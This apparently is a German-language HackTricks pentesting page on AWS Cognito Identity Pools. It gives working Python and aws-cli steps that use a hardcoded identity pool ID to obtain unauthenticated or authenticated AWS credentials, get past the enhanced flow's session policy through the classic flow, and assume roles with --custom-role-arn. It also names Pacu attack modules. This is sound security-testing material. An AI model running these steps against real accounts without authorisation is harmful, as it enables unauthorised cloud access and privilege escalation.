Cognito Identity Pools

Support HackTricks

Grundinformationen

Identitätspools spielen eine entscheidende Rolle, indem sie es Ihren Benutzern ermöglichen, temporäre Anmeldeinformationen zu erwerben. Diese Anmeldeinformationen sind entscheidend für den Zugriff auf verschiedene AWS-Dienste, einschließlich, aber nicht beschränkt auf Amazon S3 und DynamoDB. Ein bemerkenswertes Merkmal von Identitätspools ist die Unterstützung sowohl anonymer Gastbenutzer als auch einer Reihe von Identitätsanbietern zur Benutzerauthentifizierung. Die unterstützten Identitätsanbieter umfassen:

  • Amazon Cognito-Benutzerpools

  • Soziale Anmeldemöglichkeiten wie Facebook, Google, Login mit Amazon und Anmelden mit Apple

  • Anbieter, die mit OpenID Connect (OIDC) konform sind

  • SAML (Security Assertion Markup Language) Identitätsanbieter

  • Entwickler-authentifizierte Identitäten

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Um Identity Pool-Sitzungen zu generieren, müssen Sie zuerst eine Identity ID generieren. Diese Identity ID ist die Identifikation der Sitzung dieses Benutzers. Diese Identifikationen können bis zu 20 Datensätze haben, die bis zu 1 MB an Schlüssel-Wert-Paaren speichern können.

Dies ist nützlich, um Informationen über einen Benutzer zu speichern (der immer dieselbe Identity ID verwenden wird).

Darüber hinaus ist der Dienst cognito-sync der Dienst, der es ermöglicht, diese Informationen zu verwalten und zu synchronisieren (in den Datensätzen, Informationen in Streams und SNS-Nachrichten zu senden...).

Tools für pentesting

  • Pacu, das AWS-Exploitation-Framework, umfasst jetzt die Module "cognito__enum" und "cognito__attack", die die Enumeration aller Cognito-Ressourcen in einem Konto automatisieren und schwache Konfigurationen, Benutzerattribute, die für die Zugriffskontrolle verwendet werden, usw. kennzeichnen, sowie die Benutzererstellung (einschließlich MFA-Unterstützung) und die Privilegieneskalation basierend auf modifizierbaren benutzerdefinierten Attributen, verwendbaren Identity Pool-Anmeldeinformationen, übernehmbaren Rollen in ID-Token usw. automatisieren.

Für eine Beschreibung der Funktionen der Module siehe Teil 2 des Blogbeitrags. Für Installationsanweisungen siehe die Hauptseite von Pacu.

Nutzung

Beispiel für die Nutzung von cognito__attack, um die Benutzererstellung und alle Privilegieneskalationsvektoren gegen einen bestimmten Identity Pool und Benutzerpool-Client zu versuchen:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Beispiel für die Verwendung von cognito__enum, um alle Benutzerpools, Benutzerpool-Clients, Identitätspools, Benutzer usw. zu sammeln, die im aktuellen AWS-Konto sichtbar sind:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner ist ein CLI-Tool in Python, das verschiedene Angriffe auf Cognito implementiert, einschließlich unerwünschter Kontoerstellung und Identitätspool-Eskalation.

Installation

$ pip install cognito-scanner

Verwendung

$ cognito-scanner --help

For more information check https://github.com/padok-team/cognito-scanner

Zugriff auf IAM-Rollen

Unauthentifiziert

Das einzige, was ein Angreifer wissen muss, um AWS-Anmeldeinformationen in einer Cognito-App als unauthentifizierter Benutzer zu erhalten, ist die Identity Pool ID, und diese ID muss im Web-/Mobilanwendung fest codiert sein, damit sie verwendet werden kann. Eine ID sieht so aus: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (sie ist nicht bruteforcebar).

Die IAM Cognito unauthentifizierte Rolle, die über erstellt wurde, heißt standardmäßig Cognito_<Identity Pool name>Unauth_Role

Wenn Sie eine Identity Pools ID finden, die fest codiert ist und unauthentifizierte Benutzer zulässt, können Sie AWS-Anmeldeinformationen mit:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Oder Sie könnten die folgenden aws cli-Befehle verwenden:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Beachten Sie, dass ein nicht authentifizierter Cognito Benutzer standardmäßig KEINE Berechtigungen haben KANN, selbst wenn diese über eine Richtlinie zugewiesen wurden. Überprüfen Sie den folgenden Abschnitt.

Verbesserter vs. Basis-Authentifizierungsfluss

Der vorherige Abschnitt folgte dem standardmäßigen verbesserten Authentifizierungsfluss. Dieser Fluss setzt eine einschränkende Sitzungsrichtlinie für die generierte IAM-Rollen-Sitzung. Diese Richtlinie erlaubt es der Sitzung nur, die Dienste aus dieser Liste zu nutzen (auch wenn die Rolle Zugriff auf andere Dienste hatte).

Es gibt jedoch eine Möglichkeit, dies zu umgehen. Wenn der Identitätspool den "Basis (Klassischen) Fluss" aktiviert hat, kann der Benutzer eine Sitzung mit diesem Fluss erhalten, die keine einschränkende Sitzungsrichtlinie hat.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Wenn Sie diesen Fehler erhalten, liegt das daran, dass der Basisfluss nicht aktiviert ist (Standard)

Ein Fehler ist aufgetreten (InvalidParameterException) beim Aufruf der GetOpenIdToken-Operation: Basis (klassischer) Fluss ist nicht aktiviert, bitte verwenden Sie den erweiterten Fluss.

Wenn Sie ein Set von IAM-Anmeldeinformationen haben, sollten Sie überprüfen, welchen Zugriff Sie haben und versuchen, Berechtigungen zu eskalieren.

Authentifiziert

Denken Sie daran, dass authentifizierte Benutzer wahrscheinlich unterschiedliche Berechtigungen erhalten, also wenn Sie sich in der App anmelden können, versuchen Sie das und erhalten Sie die neuen Anmeldeinformationen.

Es könnten auch Rollen für authentifizierte Benutzer, die auf den Identity Pool zugreifen, verfügbar sein.

Dafür müssen Sie möglicherweise Zugriff auf den Identitätsanbieter haben. Wenn das ein Cognito User Pool ist, können Sie möglicherweise das Standardverhalten ausnutzen und selbst einen neuen Benutzer erstellen.

Die IAM Cognito authentifizierte Rolle, die über erstellt wurde, heißt standardmäßig Cognito_<Identity Pool name>Auth_Role

Jedenfalls erwartet das folgende Beispiel, dass Sie sich bereits in einem Cognito User Pool angemeldet haben, der verwendet wird, um auf den Identity Pool zuzugreifen (vergessen Sie nicht, dass auch andere Arten von Identitätsanbietern konfiguriert sein könnten).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Holen Sie sich die identity_id aus der vorherigen Befehlsantwort
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# Im IdToken finden Sie Rollen, auf die ein Benutzer aufgrund von Benutzerpoolgruppen Zugriff hat
# Verwenden Sie die --custom-role-arn, um Anmeldeinformationen für eine bestimmte Rolle zu erhalten
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Es ist möglich, verschiedene IAM-Rollen je nach Identitätsanbieter zu konfigurieren, bei dem der Benutzer angemeldet ist, oder sogar nur abhängig vom Benutzer (unter Verwendung von Ansprüchen). Daher könnte es lohnenswert sein, sich anzumelden und auf die IAM-Rollen von allen zuzugreifen.

Support HackTricks

Last updated